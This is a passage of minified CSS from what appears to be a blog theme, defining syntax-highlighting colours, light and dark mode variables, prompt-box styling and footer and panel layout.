.gi{color:#a6e22e;background-color:#0b5858}}@media(prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--language-border-color: rgba(84, 83, 83, 0.27);--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60, 60, 60);--code-header-icon-color: rgb(86, 86, 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html:not([data-mode]) pre,html[data-mode=dark] pre{color:#bfbfbf}html:not([data-mode]) .highlight .gp,html[data-mode=dark] .highlight .gp{color:#818c96}html:not([data-mode]) .highlight pre,html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .hll,html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .c,html[data-mode=dark] .highlight .c{color:#75715e}html:not([data-mode]) .highlight .err,html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html:not([data-mode]) .highlight .k,html[data-mode=dark] .highlight .k{color:#66d9ef}html:not([data-mode]) .highlight .l,html[data-mode=dark] .highlight .l{color:#ae81ff}html:not([data-mode]) .highlight .n,html[data-mode=dark] .highlight .n{color:#f8f8f2}html:not([data-mode]) .highlight .o,html[data-mode=dark] .highlight .o{color:#f92672}html:not([data-mode]) .highlight .p,html[data-mode=dark] .highlight .p{color:#f8f8f2}html:not([data-mode]) .highlight .cm,html[data-mode=dark] .highlight .cm{color:#75715e}html:not([data-mode]) .highlight .cp,html[data-mode=dark] .highlight .cp{color:#75715e}html:not([data-mode]) .highlight .c1,html[data-mode=dark] .highlight .c1{color:#75715e}html:not([data-mode]) .highlight .cs,html[data-mode=dark] .highlight .cs{color:#75715e}html:not([data-mode]) .highlight .ge,html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html:not([data-mode]) .highlight .gs,html[data-mode=dark] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .kc,html[data-mode=dark] .highlight .kc{color:#66d9ef}html:not([data-mode]) .highlight .kd,html[data-mode=dark] .highlight .kd{color:#66d9ef}html:not([data-mode]) .highlight .kn,html[data-mode=dark] .highlight .kn{color:#f92672}html:not([data-mode]) .highlight .kp,html[data-mode=dark] .highlight .kp{color:#66d9ef}html:not([data-mode]) .highlight .kr,html[data-mode=dark] .highlight .kr{color:#66d9ef}html:not([data-mode]) .highlight .kt,html[data-mode=dark] .highlight .kt{color:#66d9ef}html:not([data-mode]) .highlight .ld,html[data-mode=dark] .highlight .ld{color:#e6db74}html:not([data-mode]) .highlight .m,html[data-mode=dark] .highlight .m{color:#ae81ff}html:not([data-mode]) .highlight .s,html[data-mode=dark] .highlight .s{color:#e6db74}html:not([data-mode]) .highlight .na,html[data-mode=dark] .highlight .na{color:#a6e22e}html:not([data-mode]) .highlight .nb,html[data-mode=dark] .highlight .nb{color:#f8f8f2}html:not([data-mode]) .highlight .nc,html[data-mode=dark] .highlight .nc{color:#a6e22e}html:not([data-mode]) .highlight .no,html[data-mode=dark] .highlight .no{color:#66d9ef}html:not([data-mode]) .highlight .nd,html[data-mode=dark] .highlight .nd{color:#a6e22e}html:not([data-mode]) .highlight .ni,html[data-mode=dark] .highlight .ni{color:#f8f8f2}html:not([data-mode]) .highlight .ne,html[data-mode=dark] .highlight .ne{color:#a6e22e}html:not([data-mode]) .highlight .nf,html[data-mode=dark] .highlight .nf{color:#a6e22e}html:not([data-mode]) .highlight .nl,html[data-mode=dark] .highlight .nl{color:#f8f8f2}html:not([data-mode]) .highlight .nn,html[data-mode=dark] .highlight .nn{color:#f8f8f2}html:not([data-mode]) .highlight .nx,html[data-mode=dark] .highlight .nx{color:#a6e22e}html:not([data-mode]) .highlight .py,html[data-mode=dark] .highlight .py{color:#f8f8f2}html:not([data-mode]) .highlight .nt,html[data-mode=dark] .highlight .nt{color:#f92672}html:not([data-mode]) .highlight .nv,html[data-mode=dark] .highlight .nv{color:#f8f8f2}html:not([data-mode]) .highlight .ow,html[data-mode=dark] .highlight .ow{color:#f92672}html:not([data-mode]) .highlight .w,html[data-mode=dark] .highlight .w{color:#f8f8f2}html:not([data-mode]) .highlight .mf,html[data-mode=dark] .highlight .mf{color:#ae81ff}html:not([data-mode]) .highlight .mh,html[data-mode=dark] .highlight .mh{color:#ae81ff}html:not([data-mode]) .highlight .mi,html[data-mode=dark] .highlight .mi{color:#ae81ff}html:not([data-mode]) .highlight .mo,html[data-mode=dark] .highlight .mo{color:#ae81ff}html:not([data-mode]) .highlight .sb,html[data-mode=dark] .highlight .sb{color:#e6db74}html:not([data-mode]) .highlight .sc,html[data-mode=dark] .highlight .sc{color:#e6db74}html:not([data-mode]) .highlight .sd,html[data-mode=dark] .highlight .sd{color:#e6db74}html:not([data-mode]) .highlight .s2,html[data-mode=dark] .highlight .s2{color:#e6db74}html:not([data-mode]) .highlight .se,html[data-mode=dark] .highlight .se{color:#ae81ff}html:not([data-mode]) .highlight .sh,html[data-mode=dark] .highlight .sh{color:#e6db74}html:not([data-mode]) .highlight .si,html[data-mode=dark] .highlight .si{color:#e6db74}html:not([data-mode]) .highlight .sx,html[data-mode=dark] .highlight .sx{color:#e6db74}html:not([data-mode]) .highlight .sr,html[data-mode=dark] .highlight .sr{color:#e6db74}html:not([data-mode]) .highlight .s1,html[data-mode=dark] .highlight .s1{color:#e6db74}html:not([data-mode]) .highlight .ss,html[data-mode=dark] .highlight .ss{color:#e6db74}html:not([data-mode]) .highlight .bp,html[data-mode=dark] .highlight .bp{color:#f8f8f2}html:not([data-mode]) .highlight .vc,html[data-mode=dark] .highlight .vc{color:#f8f8f2}html:not([data-mode]) .highlight .vg,html[data-mode=dark] .highlight .vg{color:#f8f8f2}html:not([data-mode]) .highlight .vi,html[data-mode=dark] .highlight .vi{color:#f8f8f2}html:not([data-mode]) .highlight .il,html[data-mode=dark] .highlight .il{color:#ae81ff}html:not([data-mode]) .highlight .gu,html[data-mode=dark] .highlight .gu{color:#75715e}html:not([data-mode]) .highlight .gd,html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html:not([data-mode]) .highlight .gi,html[data-mode=dark] .highlight .gi{color:#a6e22e;background-color:#0b5858}html[data-mode=light]{--language-border-color: rgba(172, 169, 169, 0.2);--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #3f596f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f6f6f7;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html[data-mode=light] .highlight .hll{background-color:#ffc}html[data-mode=light] .highlight .c{color:#998;font-style:italic}html[data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html[data-mode=light] .highlight .k{color:#000;font-weight:bold}html[data-mode=light] .highlight .o{color:#000;font-weight:bold}html[data-mode=light] .highlight .cm{color:#998;font-style:italic}html[data-mode=light] .highlight .cp{color:#999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .c1{color:#998;font-style:italic}html[data-mode=light] .highlight .cs{color:#999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .gd{color:#d01040;background-color:#fdd}html[data-mode=light] .highlight .ge{color:#000;font-style:italic}html[data-mode=light] .highlight .gr{color:#a00}html[data-mode=light] .highlight .gh{color:#999}html[data-mode=light] .highlight .gi{color:teal;background-color:#dfd}html[data-mode=light] .highlight .go{color:#888}html[data-mode=light] .highlight .gp{color:#555}html[data-mode=light] .highlight .gs{font-weight:bold}html[data-mode=light] .highlight .gu{color:#aaa}html[data-mode=light] .highlight .gt{color:#a00}html[data-mode=light] .highlight .kc{color:#000;font-weight:bold}html[data-mode=light] .highlight .kd{color:#000;font-weight:bold}html[data-mode=light] .highlight .kn{color:#000;font-weight:bold}html[data-mode=light] .highlight .kp{color:#000;font-weight:bold}html[data-mode=light] .highlight .kr{color:#000;font-weight:bold}html[data-mode=light] .highlight .kt{color:#458;font-weight:bold}html[data-mode=light] .highlight .m{color:#099}html[data-mode=light] .highlight .s{color:#d01040}html[data-mode=light] .highlight .na{color:teal}html[data-mode=light] .highlight .nb{color:#0086b3}html[data-mode=light] .highlight .nc{color:#458;font-weight:bold}html[data-mode=light] .highlight .no{color:teal}html[data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html[data-mode=light] .highlight .ni{color:purple}html[data-mode=light] .highlight .ne{color:#900;font-weight:bold}html[data-mode=light] .highlight .nf{color:#900;font-weight:bold}html[data-mode=light] .highlight .nl{color:#900;font-weight:bold}html[data-mode=light] .highlight .nn{color:#555}html[data-mode=light] .highlight .nt{color:navy}html[data-mode=light] .highlight .nv{color:teal}html[data-mode=light] .highlight .ow{color:#000;font-weight:bold}html[data-mode=light] .highlight .w{color:#bbb}html[data-mode=light] .highlight .mf{color:#099}html[data-mode=light] .highlight .mh{color:#099}html[data-mode=light] .highlight .mi{color:#099}html[data-mode=light] .highlight .mo{color:#099}html[data-mode=light] .highlight .sb{color:#d01040}html[data-mode=light] .highlight .sc{color:#d01040}html[data-mode=light] .highlight .sd{color:#d01040}html[data-mode=light] .highlight .s2{color:#d01040}html[data-mode=light] .highlight .se{color:#d01040}html[data-mode=light] .highlight .sh{color:#d01040}html[data-mode=light] .highlight .si{color:#d01040}html[data-mode=light] .highlight .sx{color:#d01040}html[data-mode=light] .highlight .sr{color:#009926}html[data-mode=light] .highlight .s1{color:#d01040}html[data-mode=light] .highlight .ss{color:#990073}html[data-mode=light] .highlight .bp{color:#999}html[data-mode=light] .highlight .vc{color:teal}html[data-mode=light] .highlight .vg{color:teal}html[data-mode=light] .highlight .vi{color:teal}html[data-mode=light] .highlight .il{color:#099}html[data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa}}div[class^=language-],figure.highlight,.highlight{background-color:var(--highlight-bg-color)}td.rouge-code{padding-left:1rem;padding-right:1.5rem}.highlighter-rouge{color:var(--highlighter-rouge-color);margin-top:.5rem;margin-bottom:1.2em}.highlight{overflow:auto;padding-top:.5rem;padding-bottom:1rem}.highlight pre{margin-bottom:0;font-size:.85rem;line-height:1.4rem;word-wrap:normal}.highlight table td pre{overflow:visible;word-break:normal}.highlight .lineno{padding-right:.5rem;min-width:2.2rem;text-align:right;color:var(--highlight-lineno-color);-webkit-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}code{-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}code.highlighter-rouge{font-size:.85rem;padding:3px 5px;word-break:break-word;border-radius:4px;background-color:var(--inline-code-bg)}code.filepath{background-color:inherit;color:var(--filepath-text-color);font-weight:600;padding:0}a>code.highlighter-rouge{padding-bottom:0;color:inherit}a:hover>code.highlighter-rouge{border-bottom:none}blockquote code{color:inherit}td.rouge-code a{color:inherit !important;border-bottom:none !important;pointer-events:none}div[class^=language-]{box-shadow:var(--language-border-color) 0 0 0 1px}.post-content>div[class^=language-]{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0}div.nolineno pre.lineno,div.language-plaintext pre.lineno,div.language-console pre.lineno,div.language-terminal pre.lineno{display:none}div.nolineno td.rouge-code,div.language-plaintext td.rouge-code,div.language-console td.rouge-code,div.language-terminal td.rouge-code{padding-left:1.5rem}.code-header{display:flex;justify-content:space-between;align-items:center;height:2.25rem;margin-left:1rem;margin-right:.5rem}.code-header span i{font-size:1rem;margin-right:.5rem;color:var(--code-header-icon-color)}.code-header span i.small{font-size:70%}[file] .code-header span>i{position:relative;top:1px}.code-header span::after{content:attr(data-label-text);font-size:.85rem;font-weight:600;color:var(--code-header-text-color)}.code-header button{border:1px solid rgba(0,0,0,0);height:2.25rem;width:2.25rem;padding:0;background-color:inherit}.code-header button i{color:var(--code-header-icon-color)}.code-header button[timeout]:hover{border-color:var(--clipboard-checked-color)}.code-header button[timeout] i{color:var(--clipboard-checked-color)}.code-header button:focus{outline:none}.code-header button:not([timeout]):hover{background-color:rgba(128,128,128,.37)}.code-header button:not([timeout]):hover i{color:#fff}@media all and (min-width: 576px){.post-content>div[class^=language-]{margin-left:0;margin-right:0;border-radius:.5rem}div[class^=language-] .code-header{margin-left:0;margin-right:0}div[class^=language-] .code-header::before{content:"";display:inline-block;margin-left:1rem;width:.75rem;height:.75rem;border-radius:50%;background-color:var(--code-header-muted-color);box-shadow:1.25rem 0 0 var(--code-header-muted-color),2.5rem 0 0 var(--code-header-muted-color)}}html{font-size:16px}@media(prefers-color-scheme: light){html:not([data-mode]),html[data-mode=light]{--main-bg: white;--mask-bg: #c1c3c5;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: #8e8e8e;--heading-color: black;--blockquote-border-color: #eeeeee;--blockquote-text-color: #9a9a9a;--link-color: #0153ab;--link-underline-color: #dee2e6;--button-bg: #ffffff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--img-bg: radial-gradient( circle, rgb(255, 255, 255) 0%, rgb(239, 239, 239) 100% );--shimmer-bg: linear-gradient( 90deg, rgba(250, 250, 250, 0) 0%, rgba(232, 230, 230, 1) 50%, rgba(250, 250, 250, 0) 100% );--sidebar-bg: #f6f8fa;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #1d1d1d;--sidebar-hover-bg: rgb(223, 233, 241, 0.64);--sidebar-btn-bg: white;--sidebar-btn-color: #8e8e8e;--avatar-border-color: white;--topbar-bg: rgb(255, 255, 255, 0.7);--topbar-text-color: rgb(78, 78, 78);--search-wrapper-border-color: rgb(240, 240, 240);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: #b8b8b8;--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--toc-highlight: #563d7c;--btn-share-hover-color: var(--link-color);--card-bg: white;--card-hovor-bg: #e2e2e2;--card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0, rgba(211, 209, 209, 0.15) 0 0 0 1px;--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46, 46, 46, 0.77);--prompt-tip-bg: rgb(123, 247, 144, 0.2);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255, 243, 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248, 215, 218, 0.56);--prompt-danger-icon-color: #df3c30;--categories-border: rgba(0, 0, 0, 0.125);--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html:not([data-mode]) [class^=prompt-],html[data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219, 216, 216)}html:not([data-mode]) .dark,html[data-mode=light] .dark{display:none}html[data-mode=dark]{--main-bg: rgb(27, 27, 30);--mask-bg: rgb(68, 69, 70);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-bg);--card-header-bg: rgb(48, 48, 48);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118, 120, 121);--checkbox-checked-color: var(--link-color);--img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);--shimmer-bg: linear-gradient( 90deg, rgba(255, 255, 255, 0) 0%, rgba(58, 55, 55, 0.4) 50%, rgba(255, 255, 255, 0) 100% );--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255, 255, 255, 0.95);--sidebar-hover-bg: rgb(54, 54, 54, 0.33);--sidebar-btn-bg: rgb(84, 83, 83, 0.3);--sidebar-btn-color: #787878;--avatar-border-color: rgb(206, 206, 206, 0.9);--topbar-bg: rgb(27, 27, 30, 0.64);--topbar-text-color: var(--text-color);--search-wrapper-border-color: rgb(55, 55, 55);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--toc-highlight: rgb(116, 178, 243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: #1e1e1e;--card-hovor-bg: #464d51;--card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0, rgb(137, 135, 135, 0.24) 0 0 0 1px;--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216, 212, 212, 0.75);--prompt-tip-bg: rgb(22, 60, 36, 0.64);--prompt-tip-icon-color: rgb(15, 164, 15, 0.81);--prompt-info-bg: rgb(7, 59, 104, 0.8);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90, 69, 3, 0.88);--prompt-warning-icon-color: rgb(255, 165, 0, 0.8);--prompt-danger-bg: rgb(86, 28, 8, 0.8);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69, 0.5);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html[data-mode=dark] .light{display:none}html[data-mode=dark] hr{border-color:var(--main-border-color)}html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, rgb(26, 26, 30), rgb(39, 39, 45), rgb(39, 39, 45), rgb(39, 39, 45), rgb(26, 26, 30))}html[data-mode=dark] #disqus_thread{color-scheme:none}}@media(prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--main-bg: rgb(27, 27, 30);--mask-bg: rgb(68, 69, 70);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-bg);--card-header-bg: rgb(48, 48, 48);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118, 120, 121);--checkbox-checked-color: var(--link-color);--img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);--shimmer-bg: linear-gradient( 90deg, rgba(255, 255, 255, 0) 0%, rgba(58, 55, 55, 0.4) 50%, rgba(255, 255, 255, 0) 100% );--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255, 255, 255, 0.95);--sidebar-hover-bg: rgb(54, 54, 54, 0.33);--sidebar-btn-bg: rgb(84, 83, 83, 0.3);--sidebar-btn-color: #787878;--avatar-border-color: rgb(206, 206, 206, 0.9);--topbar-bg: rgb(27, 27, 30, 0.64);--topbar-text-color: var(--text-color);--search-wrapper-border-color: rgb(55, 55, 55);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--toc-highlight: rgb(116, 178, 243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: #1e1e1e;--card-hovor-bg: #464d51;--card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0, rgb(137, 135, 135, 0.24) 0 0 0 1px;--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216, 212, 212, 0.75);--prompt-tip-bg: rgb(22, 60, 36, 0.64);--prompt-tip-icon-color: rgb(15, 164, 15, 0.81);--prompt-info-bg: rgb(7, 59, 104, 0.8);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90, 69, 3, 0.88);--prompt-warning-icon-color: rgb(255, 165, 0, 0.8);--prompt-danger-bg: rgb(86, 28, 8, 0.8);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69, 0.5);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html:not([data-mode]) .light,html[data-mode=dark] .light{display:none}html:not([data-mode]) hr,html[data-mode=dark] hr{border-color:var(--main-border-color)}html:not([data-mode]) .categories.card,html:not([data-mode]) .list-group-item,html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html:not([data-mode]) .categories .card-header,html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html:not([data-mode]) .categories .list-group-item,html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html:not([data-mode]) .categories .list-group-item:last-child,html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html:not([data-mode]) #archives li:nth-child(odd),html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, rgb(26, 26, 30), rgb(39, 39, 45), rgb(39, 39, 45), rgb(39, 39, 45), rgb(26, 26, 30))}html:not([data-mode]) #disqus_thread,html[data-mode=dark] #disqus_thread{color-scheme:none}html[data-mode=light]{--main-bg: white;--mask-bg: #c1c3c5;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: #8e8e8e;--heading-color: black;--blockquote-border-color: #eeeeee;--blockquote-text-color: #9a9a9a;--link-color: #0153ab;--link-underline-color: #dee2e6;--button-bg: #ffffff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--img-bg: radial-gradient( circle, rgb(255, 255, 255) 0%, rgb(239, 239, 239) 100% );--shimmer-bg: linear-gradient( 90deg, rgba(250, 250, 250, 0) 0%, rgba(232, 230, 230, 1) 50%, rgba(250, 250, 250, 0) 100% );--sidebar-bg: #f6f8fa;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #1d1d1d;--sidebar-hover-bg: rgb(223, 233, 241, 0.64);--sidebar-btn-bg: white;--sidebar-btn-color: #8e8e8e;--avatar-border-color: white;--topbar-bg: rgb(255, 255, 255, 0.7);--topbar-text-color: rgb(78, 78, 78);--search-wrapper-border-color: rgb(240, 240, 240);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: #b8b8b8;--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--toc-highlight: #563d7c;--btn-share-hover-color: var(--link-color);--card-bg: white;--card-hovor-bg: #e2e2e2;--card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0, rgba(211, 209, 209, 0.15) 0 0 0 1px;--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46, 46, 46, 0.77);--prompt-tip-bg: rgb(123, 247, 144, 0.2);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255, 243, 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248, 215, 218, 0.56);--prompt-danger-icon-color: #df3c30;--categories-border: rgba(0, 0, 0, 0.125);--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html[data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219, 216, 216)}html[data-mode=light] .dark{display:none}}body{background:var(--main-bg);padding:env(safe-area-inset-top) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);color:var(--text-color);-webkit-font-smoothing:antialiased;font-family:"Source Sans Pro","Microsoft Yahei",sans-serif}h1{font-size:1.92rem}h2{font-size:1.54rem}h3{font-size:1.36rem}h4{font-size:1.18rem}h5{font-size:1rem}a{text-decoration:none}img{max-width:100%;height:auto;transition:all .35s ease-in-out}img[data-src][data-lqip=true].lazyload,img[data-src][data-lqip=true].lazyloading{-webkit-filter:blur(20px);filter:blur(20px)}img[data-src]:not([data-lqip=true]).lazyload,img[data-src]:not([data-lqip=true]).lazyloading{background:var(--img-bg)}img[data-src]:not([data-lqip=true]).lazyloaded{-webkit-animation:fade-in .35s ease-in;animation:fade-in .35s ease-in}img[data-src].shadow{-webkit-filter:drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));filter:drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));box-shadow:none !important}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}}blockquote{border-left:5px solid var(--blockquote-border-color);padding-left:1rem;color:var(--blockquote-text-color)}blockquote[class^=prompt-]{border-left:0;position:relative;padding:1rem 1rem 1rem 3rem;color:var(--prompt-text-color)}blockquote[class^=prompt-]::before{text-align:center;width:3rem;position:absolute;left:.25rem;margin-top:.4rem;text-rendering:auto;-webkit-font-smoothing:antialiased}blockquote[class^=prompt-]>p:last-child{margin-bottom:0}blockquote.prompt-tip{background-color:var(--prompt-tip-bg)}blockquote.prompt-tip::before{content:"";color:var(--prompt-tip-icon-color);font:var(--fa-font-regular)}blockquote.prompt-info{background-color:var(--prompt-info-bg)}blockquote.prompt-info::before{content:"";color:var(--prompt-info-icon-color);font:var(--fa-font-solid)}blockquote.prompt-warning{background-color:var(--prompt-warning-bg)}blockquote.prompt-warning::before{content:"";color:var(--prompt-warning-icon-color);font:var(--fa-font-solid)}blockquote.prompt-danger{background-color:var(--prompt-danger-bg)}blockquote.prompt-danger::before{content:"";color:var(--prompt-danger-icon-color);font:var(--fa-font-solid)}kbd{font-family:inherit;display:inline-block;vertical-align:middle;line-height:1.3rem;min-width:1.75rem;text-align:center;margin:0 .3rem;padding-top:.1rem;color:var(--kbd-text-color);background-color:var(--kbd-bg-color);border-radius:.25rem;border:solid 1px var(--kbd-wrap-color);box-shadow:inset 0 -2px 0 var(--kbd-wrap-color)}footer{font-size:.8rem;background-color:var(--main-bg)}footer div.d-flex{height:5rem;line-height:1.2rem;padding-bottom:1rem;border-top:1px solid var(--main-border-color);flex-wrap:wrap}footer p{width:100%;text-align:center;margin-bottom:0}.access{top:2rem;transition:top .2s ease-in-out;margin-top:3rem;margin-bottom:4rem}.access:only-child{position:-webkit-sticky;position:sticky}.access>div{padding-left:1rem;border-left:1px solid var(--main-border-color)}.access>div:not(:last-child){margin-bottom:4rem}.access .post-content{font-size:.9rem}#panel-wrapper .panel-heading{color:var(--label-color);font-size:inherit;font-weight:600}#panel-wrapper .post-tag{line-height:1.05rem;font-size:.85rem;border:1px solid var(--btn-border-color);border-radius:.8rem;padding:.3rem 